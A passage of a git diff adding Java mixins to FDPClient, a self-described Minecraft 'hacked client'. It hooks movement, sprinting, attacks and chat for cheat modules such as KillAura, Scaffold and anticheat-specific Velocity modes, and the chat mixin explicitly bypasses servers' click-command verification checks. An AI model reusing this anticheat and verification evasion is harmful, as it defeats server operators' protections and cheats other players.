this.timeInPortal += 0.006666667F; + + if (this.timeInPortal > 1.0F) { + this.timeInPortal = 1.0F; + } + } else { + if (this.timeInPortal > 0.0F) { + this.timeInPortal -= 0.05F; + } + + if (this.timeInPortal < 0.0F) { + this.timeInPortal = 0.0F; + } + } + + if (this.timeUntilPortal > 0) { + --this.timeUntilPortal; + } + + this.movementInput.updatePlayerMoveState(); + + /** + * Update Sprint State - Post + * Apply Item Slowdown + * Update sprint state for modules + * TODO: This part can be skipped if there's no rotation change + */ + + movingStat = abs(this.movementInput.moveForward) > 0.05f || abs(this.movementInput.moveStrafe) > 0.05f; + runStrictStrafe = strafeFix.getDoFix() && !strafeFix.getSilentFix(); + noStrafe = RotationUtils.targetRotation == null || !strafeFix.getDoFix(); + + isCurrentUsingItem = getHeldItem() != null && (this.isUsingItem() || (getHeldItem().getItem() instanceof ItemSword && Objects.requireNonNull(killAura).getBlockingStatus())) && !this.isRiding(); + isCurrentUsingSword = getHeldItem() != null && getHeldItem().getItem() instanceof ItemSword && (Objects.requireNonNull(killAura).getBlockingStatus() || this.isUsingItem()); + + if (isCurrentUsingItem) { + final SlowDownEvent slowDownEvent = new SlowDownEvent(0.2F, 0.2F); + FDPClient.eventManager.callEvent(slowDownEvent); + this.movementInput.moveStrafe *= slowDownEvent.getStrafe(); + this.movementInput.moveForward *= slowDownEvent.getForward(); + } + + pushOutOfBlocks(posX - width * 0.35, getEntityBoundingBox().minY + 0.5, posZ + width * 0.35); + pushOutOfBlocks(posX - width * 0.35, getEntityBoundingBox().minY + 0.5, posZ - width * 0.35); + pushOutOfBlocks(posX + width * 0.35, getEntityBoundingBox().minY + 0.5, posZ - width * 0.35); + pushOutOfBlocks(posX + width * 0.35, getEntityBoundingBox().minY + 0.5, posZ + width * 0.35); + + if (!movingStat || runStrictStrafe || noStrafe) { + isSprintDirection = this.movementInput.moveForward > 0.05f; + }else { + isSprintDirection = abs(RotationUtils.getAngleDifference(MovementUtils.INSTANCE.getMovingYaw(), RotationUtils.targetRotation.getYaw())) < 67.0f; + } + + baseIsMoving = (sprint.getState() && sprint.getAllDirectionsValue().get() && (abs(this.movementInput.moveForward) > 0.05f || abs(this.movementInput.moveStrafe) > 0.05f)) || isSprintDirection; + baseSprintState = ((!sprint.getHungryValue().get() && sprint.getState()) || (float) this.getFoodStats().getFoodLevel() > 6.0F || this.capabilities.allowFlying) && baseIsMoving && (!this.isCollidedHorizontally || sprint.getCollideValue().get()) && (!this.isSneaking() || sprint.getSneakValue().get()) && !this.isPotionActive(Potion.blindness); + + //Don't check current Sprint state cuz it's not updated in real time :bruh: + + this.setSprinting(sprint.getForceSprint() || baseSprintState && (!isCurrentUsingItem || (sprint.getUseItemValue().get() && (!sprint.getUseItemSwordValue().get() || isCurrentUsingSword))) && attemptToggle); + + //Overwrite: Scaffold + + if (Objects.requireNonNull(veloctiy).getState() && veloctiy.equals("Polar")) { + if (mc.objectMouseOver.typeOfHit.equals(MovingObjectPosition.MovingObjectType.ENTITY) && mc.thePlayer.hurtTime > 0 && !mc.thePlayer.isSwingInProgress) { + this.setSprinting(false); + } + } + if (Objects.requireNonNull(veloctiy).getState() && veloctiy.equals("IntaveSimple")) { + if (FDPClient.combatManager.getInCombat() && mc.thePlayer.hurtTime > 0) { + this.setSprinting(false); + } + } + if (Objects.requireNonNull(scaffold2).getState()) { + this.setSprinting(scaffold2.getCanSprint()); + } + if (Objects.requireNonNull(scaffold).getState()) { + this.setSprinting(scaffold.getCanSprint()); + } + if (Objects.requireNonNull(scaffold3).getState()) { + this.setSprinting(scaffold3.getSprintActive()); + } + if ((killAura != null && killAura.getState()) && MovementUtils.INSTANCE.isMoving() && killAura.getCurrentTarget() != null) { + if (killAura.getSprintmode().equals("Ground")) { + this.setSprinting(mc.thePlayer.onGround); + } + if (killAura.getSprintmode().equals("StopSprint")) { + this.setSprinting(false); + } + } + + + //aac may check it :( + if (this.capabilities.allowFlying) { + if (this.mc.playerController.isSpectatorMode()) { + if (!this.capabilities.isFlying) { + this.capabilities.isFlying = true; + this.sendPlayerAbilities(); + } + } else if (!lastJumpToggleState && this.movementInput.jump) { + if (this.flyToggleTimer == 0) { + this.flyToggleTimer = 7; + } else { + this.capabilities.isFlying = !this.capabilities.isFlying; + this.sendPlayerAbilities(); + this.flyToggleTimer = 0; + } + } + } + + if (this.capabilities.isFlying && this.isCurrentViewEntity()) { + if (this.movementInput.sneak) { + this.motionY -= this.capabilities.getFlySpeed() * 3.0F; + } + + if (this.movementInput.jump) { + this.motionY += this.capabilities.getFlySpeed() * 3.0F; + } + } + + if (this.isRidingHorse()) { + if (this.horseJumpPowerCounter < 0) { + ++this.horseJumpPowerCounter; + + if (this.horseJumpPowerCounter == 0) { + this.horseJumpPower = 0.0F; + } + } + + if (lastJumpToggleState && !this.movementInput.jump) { + this.horseJumpPowerCounter = -10; + this.sendHorseJump(); + } else if (!lastJumpToggleState && this.movementInput.jump) { + this.horseJumpPowerCounter = 0; + this.horseJumpPower = 0.0F; + } else if (lastJumpToggleState) { + ++this.horseJumpPowerCounter; + + if (this.horseJumpPowerCounter < 10) { + this.horseJumpPower = (float) this.horseJumpPowerCounter * 0.1F; + } else { + this.horseJumpPower = 0.8F + 2.0F / (float) (this.horseJumpPowerCounter - 9) * 0.1F; + } + } + } else { + this.horseJumpPower = 0.0F; + } + + super.onLivingUpdate(); + + if (this.onGround && this.capabilities.isFlying && !this.mc.playerController.isSpectatorMode()) { + this.capabilities.isFlying = false; + this.sendPlayerAbilities(); + } + } + + @Override + public void moveEntity(double x, double y, double z) { + MoveEvent moveEvent = new MoveEvent(x, y, z); + FDPClient.eventManager.callEvent(moveEvent); + + if (moveEvent.isCancelled()) + return; + + x = moveEvent.getX(); + y = moveEvent.getY(); + z = moveEvent.getZ(); + + if (noClip) { + setEntityBoundingBox(getEntityBoundingBox().offset(x, y, z)); + posX = (getEntityBoundingBox().minX + getEntityBoundingBox().maxX) / 2; + posY = getEntityBoundingBox().minY; + posZ = (getEntityBoundingBox().minZ + getEntityBoundingBox().maxZ) / 2; + } else { + worldObj.theProfiler.startSection("move"); + double d0 = posX; + double d1 = posY; + double d2 = posZ; + + if (this.isInWeb) { + this.isInWeb = false; + x *= 0.25; + y *= 0.05000000074505806; + z *= 0.25; + motionX = 0; + motionY = 0; + motionZ = 0; + } + + double d3 = x; + double d4 = y; + double d5 = z; + boolean flag = onGround && isSneaking(); + + if (flag || moveEvent.isSafeWalk()) { + double d6; + + //noinspection ConstantConditions + for (d6 = 0.05; x != 0 && worldObj.getCollidingBoundingBoxes((Entity) (Object) this, getEntityBoundingBox().offset(x, -1, 0)).isEmpty(); d3 = x) { + if (x < d6 && x >= -d6) { + x = 0; + } else if (x > 0) { + x -= d6; + } else { + x += d6; + } + } + + //noinspection ConstantConditions + for (; z != 0 && worldObj.getCollidingBoundingBoxes((Entity) (Object) this, getEntityBoundingBox().offset(0, -1, z)).isEmpty(); d5 = z) { + if (z < d6 && z >= -d6) { + z = 0; + } else if (z > 0) { + z -= d6; + } else { + z += d6; + } + } + + //noinspection ConstantConditions + for (; x != 0 && z != 0 && worldObj.getCollidingBoundingBoxes((Entity) (Object) this, getEntityBoundingBox().offset(x, -1, z)).isEmpty(); d5 = z) { + if (x < d6 && x >= -d6) { + x = 0; + } else if (x > 0) { + x -= d6; + } else { + x += d6; + } + + d3 = x; + + if (z < d6 && z >= -d6) { + z = 0; + } else if (z > 0) { + z -= d6; + } else { + z += d6; + } + } + } + + // noinspection ConstantConditions + List<AxisAlignedBB> list1 = worldObj.getCollidingBoundingBoxes((Entity) (Object) this, getEntityBoundingBox().addCoord(x, y, z)); + AxisAlignedBB axisalignedbb = getEntityBoundingBox(); + + for (AxisAlignedBB axisalignedbb1 : list1) { + y = axisalignedbb1.calculateYOffset(getEntityBoundingBox(), y); + } + + setEntityBoundingBox(getEntityBoundingBox().offset(0, y, 0)); + boolean flag1 = onGround || d4 != y && d4 < 0; + + for (AxisAlignedBB axisalignedbb2 : list1) { + x = axisalignedbb2.calculateXOffset(getEntityBoundingBox(), x); + } + + setEntityBoundingBox(getEntityBoundingBox().offset(x, 0, 0)); + + for (AxisAlignedBB axisalignedbb13 : list1) { + z = axisalignedbb13.calculateZOffset(getEntityBoundingBox(), z); + } + + setEntityBoundingBox(getEntityBoundingBox().offset(0, 0, z)); + + if (this.stepHeight > 0.0F && flag1 && (d3 != x || d5 != z)) { + StepEvent stepEvent = new StepEvent(this.stepHeight, EventState.PRE); + FDPClient.eventManager.callEvent(stepEvent); + double d11 = x; + double d7 = y; + double d8 = z; + AxisAlignedBB axisalignedbb3 = getEntityBoundingBox(); + setEntityBoundingBox(axisalignedbb); + y = stepEvent.getStepHeight(); + //noinspection ConstantConditions + List<AxisAlignedBB> list = worldObj.getCollidingBoundingBoxes((Entity) (Object) this, getEntityBoundingBox().addCoord(d3, y, d5)); + AxisAlignedBB axisalignedbb4 = getEntityBoundingBox(); + AxisAlignedBB axisalignedbb5 = axisalignedbb4.addCoord(d3, 0, d5); + double d9 = y; + + for (AxisAlignedBB axisalignedbb6 : list) { + d9 = axisalignedbb6.calculateYOffset(axisalignedbb5, d9); + } + + axisalignedbb4 = axisalignedbb4.offset(0, d9, 0); + double d15 = d3; + + for (AxisAlignedBB axisalignedbb7 : list) { + d15 = axisalignedbb7.calculateXOffset(axisalignedbb4, d15); + } + + axisalignedbb4 = axisalignedbb4.offset(d15, 0, 0); + double d16 = d5; + + for (AxisAlignedBB axisalignedbb8 : list) { + d16 = axisalignedbb8.calculateZOffset(axisalignedbb4, d16); + } + + axisalignedbb4 = axisalignedbb4.offset(0, 0, d16); + AxisAlignedBB axisalignedbb14 = getEntityBoundingBox(); + double d17 = y; + + for (AxisAlignedBB axisalignedbb9 : list) { + d17 = axisalignedbb9.calculateYOffset(axisalignedbb14, d17); + } + + axisalignedbb14 = axisalignedbb14.offset(0, d17, 0); + double d18 = d3; + + for (AxisAlignedBB axisalignedbb10 : list) { + d18 = axisalignedbb10.calculateXOffset(axisalignedbb14, d18); + } + + axisalignedbb14 = axisalignedbb14.offset(d18, 0, 0); + double d19 = d5; + + for (AxisAlignedBB axisalignedbb11 : list) { + d19 = axisalignedbb11.calculateZOffset(axisalignedbb14, d19); + } + + axisalignedbb14 = axisalignedbb14.offset(0, 0, d19); + double d20 = d15 * d15 + d16 * d16; + double d10 = d18 * d18 + d19 * d19; + + if (d20 > d10) { + x = d15; + z = d16; + y = -d9; + setEntityBoundingBox(axisalignedbb4); + } else { + x = d18; + z = d19; + y = -d17; + setEntityBoundingBox(axisalignedbb14); + } + + for (AxisAlignedBB axisalignedbb12 : list) { + y = axisalignedbb12.calculateYOffset(getEntityBoundingBox(), y); + } + + setEntityBoundingBox(getEntityBoundingBox().offset(0, y, 0)); + + if (d11 * d11 + d8 * d8 >= x * x + z * z) { + x = d11; + y = d7; + z = d8; + setEntityBoundingBox(axisalignedbb3); + } else { + FDPClient.eventManager.callEvent(new StepEvent(-1f, EventState.POST)); + } + } + + worldObj.theProfiler.endSection(); + worldObj.theProfiler.startSection("rest"); + posX = (getEntityBoundingBox().minX + getEntityBoundingBox().maxX) / 2; + posY = getEntityBoundingBox().minY; + posZ = (getEntityBoundingBox().minZ + getEntityBoundingBox().maxZ) / 2; + isCollidedHorizontally = d3 != x || d5 != z; + isCollidedVertically = d4 != y; + onGround = isCollidedVertically && d4 < 0; + isCollided = isCollidedHorizontally || isCollidedVertically; + int i = MathHelper.floor_double(posX); + int j = MathHelper.floor_double(posY - 0.20000000298023224); + int k = MathHelper.floor_double(posZ); + BlockPos blockpos = new BlockPos(i, j, k); + Block block1 = worldObj.getBlockState(blockpos).getBlock(); + + if (block1.getMaterial() == Material.air) { + Block block = worldObj.getBlockState(blockpos.down()).getBlock(); + + if (block instanceof BlockFence || block instanceof BlockWall || block instanceof BlockFenceGate) { + block1 = block; + blockpos = blockpos.down(); + } + } + + updateFallState(y, onGround, block1, blockpos); + + if (d3 != x) { + motionX = 0; + } + + if (d5 != z) { + motionZ = 0; + } + + if (d4 != y) { + //noinspection ConstantConditions + block1.onLanded(worldObj, (Entity) (Object) this); + } + + if (canTriggerWalking() && !flag && ridingEntity == null) { + double d12 = posX - d0; + double d13 = posY - d1; + double d14 = posZ - d2; + + if (block1 != Blocks.ladder) { + d13 = 0; + } + + if (onGround) { + //noinspection ConstantConditions + block1.onEntityCollidedWithBlock(worldObj, blockpos, (Entity) (Object) this); + } + + distanceWalkedModified = (float) (distanceWalkedModified + MathHelper.sqrt_double(d12 * d12 + d14 * d14) * 0.6); + distanceWalkedOnStepModified = (float) (distanceWalkedOnStepModified + MathHelper.sqrt_double(d12 * d12 + d13 * d13 + d14 * d14) * 0.6); + + if (distanceWalkedOnStepModified > (float) getNextStepDistance() && block1.getMaterial() != Material.air) { + setNextStepDistance((int) distanceWalkedOnStepModified + 1); + + if (isInWater()) { + float f = MathHelper.sqrt_double(motionX * motionX * 0.20000000298023224 + motionY * motionY + motionZ * motionZ * 0.20000000298023224) * 0.35F; + + if (f > 1f) { + f = 1f; + } + + playSound(getSwimSound(), f, 1f + (rand.nextFloat() - rand.nextFloat()) * 0.4F); + } + + playStepSound(blockpos, block1); + } + } + + try { + doBlockCollisions(); + } catch (Throwable throwable) { + CrashReport crashreport = CrashReport.makeCrashReport(throwable, "Checking entity block collision"); + CrashReportCategory crashreportcategory = crashreport.makeCategory("Entity being checked for collision"); + addEntityCrashInfo(crashreportcategory); + throw new ReportedException(crashreport); + } + + boolean flag2 = isWet(); + + if (worldObj.isFlammableWithin(getEntityBoundingBox().contract(0.001, 0.001, 0.001))) { + dealFireDamage(1); + + if (!flag2) { + setFire(getFire() + 1); + + if (getFire() == 0) { + setFire(8); + } + } + } else if (getFire() <= 0) { + setFire(-fireResistance); + } + + if (flag2 && getFire() > 0) { + playSound("random.fizz", 0.7F, 1.6F + (rand.nextFloat() - rand.nextFloat()) * 0.4F); + setFire(-fireResistance); + } + + worldObj.theProfiler.endSection(); + } + } +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityXPOrb.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityXPOrb.java new file mode 100644 index 0000000..b7a080f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinEntityXPOrb.java @@ -0,0 +1,15 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.entity; + +import net.minecraft.entity.item.EntityXPOrb; +import net.minecraft.entity.player.EntityPlayer; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Redirect; + +@Mixin(EntityXPOrb.class) +public class MixinEntityXPOrb { + @Redirect(method = "onUpdate", at = @At(value = "INVOKE", target = "Lnet/minecraft/entity/player/EntityPlayer;getEyeHeight()F")) + private float lowerHeight(EntityPlayer entityPlayer) { + return (float) (entityPlayer.getEyeHeight() / 2.0D); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinPlayerControllerMP.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinPlayerControllerMP.java new file mode 100644 index 0000000..e8fbfb7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/entity/MixinPlayerControllerMP.java @@ -0,0 +1,45 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.entity; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.event.AttackEvent; +import net.ccbluex.liquidbounce.event.ClickWindowEvent; +import net.ccbluex.liquidbounce.utils.CooldownHelper; +import net.minecraft.client.multiplayer.PlayerControllerMP; +import net.minecraft.entity.Entity; +import net.minecraft.entity.player.EntityPlayer; +import net.minecraft.item.ItemStack; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable; + +@Mixin(PlayerControllerMP.class) +public class MixinPlayerControllerMP { + + @Inject(method = "attackEntity", at = @At(value = "INVOKE", target = "Lnet/minecraft/client/multiplayer/PlayerControllerMP;syncCurrentPlayItem()V"), cancellable = true) + private void attackEntity(EntityPlayer entityPlayer, Entity targetEntity, CallbackInfo callbackInfo) { + if(targetEntity == null) + return; + + final AttackEvent event = new AttackEvent(targetEntity); + FDPClient.eventManager.callEvent(event); + if(event.isCancelled()) + callbackInfo.cancel(); + CooldownHelper.INSTANCE.resetLastAttackedTicks(); + } + + @Inject(method = "windowClick", at = @At("HEAD"), cancellable = true) + private void windowClick(int windowId, int slotId, int mouseButtonClicked, int mode, EntityPlayer playerIn, CallbackInfoReturnable<ItemStack> callbackInfo) { + final ClickWindowEvent event = new ClickWindowEvent(windowId, slotId, mouseButtonClicked, mode); + FDPClient.eventManager.callEvent(event); + + if (event.isCancelled()) + callbackInfo.cancel(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGui.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGui.java new file mode 100644 index 0000000..8312be2 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGui.java @@ -0,0 +1,15 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.minecraft.client.gui.Gui; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; + +@Mixin(Gui.class) +public abstract class MixinGui { + + @Shadow + public abstract void drawTexturedModalRect(int x, int y, int textureX, int textureY, int width, int height); + + @Shadow + protected float zLevel; +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiAchievement.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiAchievement.java new file mode 100644 index 0000000..38f037c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiAchievement.java @@ -0,0 +1,20 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.client.NoAchievements; +import net.minecraft.client.gui.achievement.GuiAchievement; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(GuiAchievement.class) +public class MixinGuiAchievement { + @Inject(method = "updateAchievementWindow", at = @At("HEAD"), cancellable = true) + private void injectAchievements(CallbackInfo ci) { + if (FDPClient.moduleManager != null + && FDPClient.moduleManager.getModule(NoAchievements.class) != null + && FDPClient.moduleManager.getModule(NoAchievements.class).getState()) + ci.cancel(); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiButton.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiButton.java new file mode 100644 index 0000000..92d7b6e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiButton.java @@ -0,0 +1,73 @@ + +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.client.ClientSpoof; +import net.ccbluex.liquidbounce.features.module.modules.client.button.AbstractButtonRenderer; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.Gui; +import net.minecraft.client.gui.GuiButton; +import net.minecraft.util.ResourceLocation; +import org.spongepowered.asm.mixin.Final; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +@Mixin(GuiButton.class) +public abstract class MixinGuiButton extends Gui { + + @Shadow + public int xPosition; + + @Shadow + public int yPosition; + + @Shadow + public int width; + + @Shadow + public int height; + + @Shadow + public boolean hovered; + + @Shadow + public boolean enabled; + + @Shadow + public boolean visible; + + @Final + @Shadow + protected static ResourceLocation buttonTextures; + + @Shadow + protected abstract void mouseDragged(Minecraft mc, int mouseX, int mouseY); + + @Shadow + protected abstract int getHoverState(boolean p_getHoverState_1_); + + @Shadow + public String displayString; + + protected final AbstractButtonRenderer buttonRenderer = FDPClient.moduleManager.getModule(ClientSpoof.class).getButtonRenderer((GuiButton)(Object)this); + + /** + * @author liuli + */ + @Inject(method = "drawButton", at = @At("HEAD"), cancellable = true) + public void drawButton(Minecraft mc, int mouseX, int mouseY, CallbackInfo ci) { + if(this.buttonRenderer != null) { + if(!visible) { + return; + } + this.hovered = mouseX >= this.xPosition && mouseY >= this.yPosition && mouseX < this.xPosition + this.width && mouseY < this.yPosition + this.height; + this.mouseDragged(mc, mouseX, mouseY); + buttonRenderer.render(mouseX, mouseY, mc); + buttonRenderer.drawButtonText(mc); + ci.cancel(); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiButtonExt.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiButtonExt.java new file mode 100644 index 0000000..6a0ece6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiButtonExt.java @@ -0,0 +1,52 @@ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraftforge.fml.client.config.GuiButtonExt; +import net.minecraftforge.fml.client.config.GuiUtils; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; + +@Mixin(GuiButtonExt.class) +public abstract class MixinGuiButtonExt extends MixinGuiButton { + + /** + * @author CCBlueX + */ + @Overwrite + public void drawButton(Minecraft mc, int mouseX, int mouseY) { + if(!visible) { + return; + } + if(this.buttonRenderer != null) { + this.hovered = mouseX >= this.xPosition && mouseY >= this.yPosition && mouseX < this.xPosition + this.width && mouseY < this.yPosition + this.height; + buttonRenderer.render(mouseX, mouseY, mc); + + mc.getTextureManager().bindTexture(buttonTextures); + mouseDragged(mc, mouseX, mouseY); + GlStateManager.resetColor(); + + buttonRenderer.drawButtonText(mc); + } else { + this.hovered = mouseX >= this.xPosition && mouseY >= this.yPosition && mouseX < this.xPosition + this.width && mouseY < this.yPosition + this.height; + int k = this.getHoverState(this.hovered); + GuiUtils.drawContinuousTexturedBox(buttonTextures, this.xPosition, this.yPosition, 0, 46 + k * 20, this.width, this.height, 200, 20, 2, 3, 2, 2, this.zLevel); + this.mouseDragged(mc, mouseX, mouseY); + int color = 14737632; + if (!this.enabled) { + color = 10526880; + } else if (this.hovered) { + color = 16777120; + } + + String buttonText = this.displayString; + int strWidth = mc.fontRendererObj.getStringWidth(buttonText); + int ellipsisWidth = mc.fontRendererObj.getStringWidth("..."); + if (strWidth > this.width - 6 && strWidth > ellipsisWidth) { + buttonText = mc.fontRendererObj.trimStringToWidth(buttonText, this.width - 6 - ellipsisWidth).trim() + "..."; + } + + this.drawCenteredString(mc.fontRendererObj, buttonText, this.xPosition + this.width / 2, this.yPosition + (this.height - 8) / 2, color); + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiChat.java b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiChat.java new file mode 100644 index 0000000..84ab596 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/injection/forge/mixins/gui/MixinGuiChat.java @@ -0,0 +1,210 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.injection.forge.mixins.gui; + +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.features.module.modules.client.ChatControl; +import net.ccbluex.liquidbounce.utils.render.RenderUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.GuiChat; +import net.minecraft.client.gui.GuiTextField; +import net.minecraft.util.IChatComponent; +import net.minecraft.util.MathHelper; +import org.lwjgl.input.Mouse; +import org.spongepowered.asm.mixin.Mixin; +import org.spongepowered.asm.mixin.Overwrite; +import org.spongepowered.asm.mixin.Shadow; +import org.spongepowered.asm.mixin.injection.At; +import org.spongepowered.asm.mixin.injection.Inject; +import org.spongepowered.asm.mixin.injection.callback.CallbackInfo; + +import java.awt.*; +import java.util.Arrays; +import java.util.Comparator; +import java.util.List; + +@Mixin(GuiChat.class) +public abstract class MixinGuiChat extends MixinGuiScreen { + + @Shadow + protected GuiTextField inputField; + + @Shadow + private List<String> foundPlayerNames; + + @Shadow + private boolean waitingOnAutocomplete; + + @Shadow + public abstract void onAutocompleteResponse(String[] p_onAutocompleteResponse_1_); + + @Shadow + private int sentHistoryCursor; + + @Shadow private String historyBuffer; + + private float yPosOfInputField; + private float fade = 0; + + private final ChatControl chatEnhance = FDPClient.moduleManager.getModule(ChatControl.class); + + /** + * @author Liuli + * @reason 这种客户端验证需要玩家点击一段'.'开头的100长度字符串,而客户端会自动填充.say来尝试绕过,但是自动填充的.say在需要按上箭头重新发送上一条消息的时候就会因为长度不够导致展示不全 + */ + @Overwrite + public void getSentHistory(int p_getSentHistory_1_) { + int i = this.sentHistoryCursor + p_getSentHistory_1_; + int j = this.mc.ingameGUI.getChatGUI().getSentMessages().size(); + i = MathHelper.clamp_int(i, 0, j); + if (i != this.sentHistoryCursor) { + if (i == j) { + this.sentHistoryCursor = j; + setText(this.historyBuffer); + } else { + if (this.sentHistoryCursor == j) { + this.historyBuffer = this.inputField.getText(); + } + + setText(this.mc.ingameGUI.getChatGUI().getSentMessages().get(i)); + this.sentHistoryCursor = i; + } + } + } + + private void setText(String text){ + if(text.startsWith(String.valueOf(FDPClient.commandManager.getPrefix()))) { + this.inputField.setMaxStringLength(114514); + } else { + if(chatEnhance.getState() && chatEnhance.getChatLimitValue().get()) { + this.inputField.setMaxStringLength(114514); + } else { + this.inputField.setMaxStringLength(100); + } + } + this.inputField.setText(text); + } + + @Inject(method = "initGui", at = @At("RETURN")) + private void init(CallbackInfo callbackInfo) { + inputField.yPosition = height - 5; + yPosOfInputField = inputField.yPosition; + } + + /** + * only trust message in KeyTyped to anti some client click check (like old zqat.top) + */ + @Inject(method = "keyTyped", at = @At("HEAD"), cancellable = true) + private void keyTyped(char typedChar, int keyCode, CallbackInfo callbackInfo) { + String text = inputField.getText(); + if(text.startsWith(String.valueOf(FDPClient.commandManager.getPrefix()))) { + this.inputField.setMaxStringLength(114514); + if (keyCode == 28 || keyCode == 156) { + FDPClient.commandManager.executeCommands(text); + callbackInfo.cancel(); + mc.ingameGUI.getChatGUI().addToSentMessages(text); + if(mc.currentScreen instanceof GuiChat) + Minecraft.getMinecraft().displayGuiScreen(null); + }else{ + FDPClient.commandManager.autoComplete(text); + } + } else { + if(chatEnhance.getState() && chatEnhance.getChatLimitValue().get()) { + this.inputField.setMaxStringLength(114514); + } else { + this.inputField.setMaxStringLength(100); + } + } + } + + /** + * bypass click command auth like kjy.pub + */ + @Inject(method = "setText", at = @At("HEAD"), cancellable = true) + private void setText(String newChatText, boolean shouldOverwrite, CallbackInfo callbackInfo) { + if(shouldOverwrite&&newChatText.startsWith(String.valueOf(FDPClient.commandManager.getPrefix()))){ + setText(FDPClient.commandManager.getPrefix()+"say "+newChatText); + callbackInfo.cancel(); + } + } + + @Inject(method = "updateScreen", at = @At("HEAD")) + private void updateScreen(CallbackInfo callbackInfo) { + final int delta = RenderUtils.deltaTime; + + if (fade < 14) fade += 0.4F * delta; + if (fade > 14) fade = 14; + + if (yPosOfInputField > height - 12) yPosOfInputField -= 0.4F * delta; + if (yPosOfInputField < height - 12) yPosOfInputField = height - 12; + + inputField.yPosition = (int) yPosOfInputField - 1; + } + + @Inject(method = "autocompletePlayerNames", at = @At("HEAD")) + private void prioritizeClientFriends(final CallbackInfo callbackInfo) { + foundPlayerNames.sort( + Comparator.comparing(s -> !FDPClient.fileManager.getFriendsConfig().isFriend(s))); + } + + /** + * Adds client command auto completion and cancels sending an auto completion request packet + * to the server if the message contains a client command. + * + * @author NurMarvin + */ + @Inject(method = "sendAutocompleteRequest", at = @At("HEAD"), cancellable = true) + private void handleClientCommandCompletion(String full, final String ignored, CallbackInfo callbackInfo) { + if (FDPClient.commandManager.autoComplete(full)) { + waitingOnAutocomplete = true; + + String[] latestAutoComplete = FDPClient.commandManager.getLatestAutoComplete(); + + if (full.toLowerCase().endsWith(latestAutoComplete[latestAutoComplete.length - 1].toLowerCase())) + return; + + this.onAutocompleteResponse(latestAutoComplete); + + callbackInfo.cancel(); + } + } + + private void onAutocompleteResponse(String[] autoCompleteResponse, CallbackInfo callbackInfo) { + if (FDPClient.commandManager.getLatestAutoComplete().length != 0) callbackInfo.cancel(); + } + public void draw(){ + } + /** + * @author CCBlueX + */ + @Inject(method = "drawScreen", at = @At("HEAD"), cancellable = true) + public void drawScreen(int mouseX, int mouseY, float partialTicks,CallbackInfo ci) { + //RenderUtils.drawRect(10,10,20,20,new Color(255,255,255,255).getRGB()); + RenderUtils.drawRoundedCornerRect(1, this.height - (int) fade - 2, this.width - 4, this.height - 1 , 2f, new Color(255,255,255,50).getRGB()); + 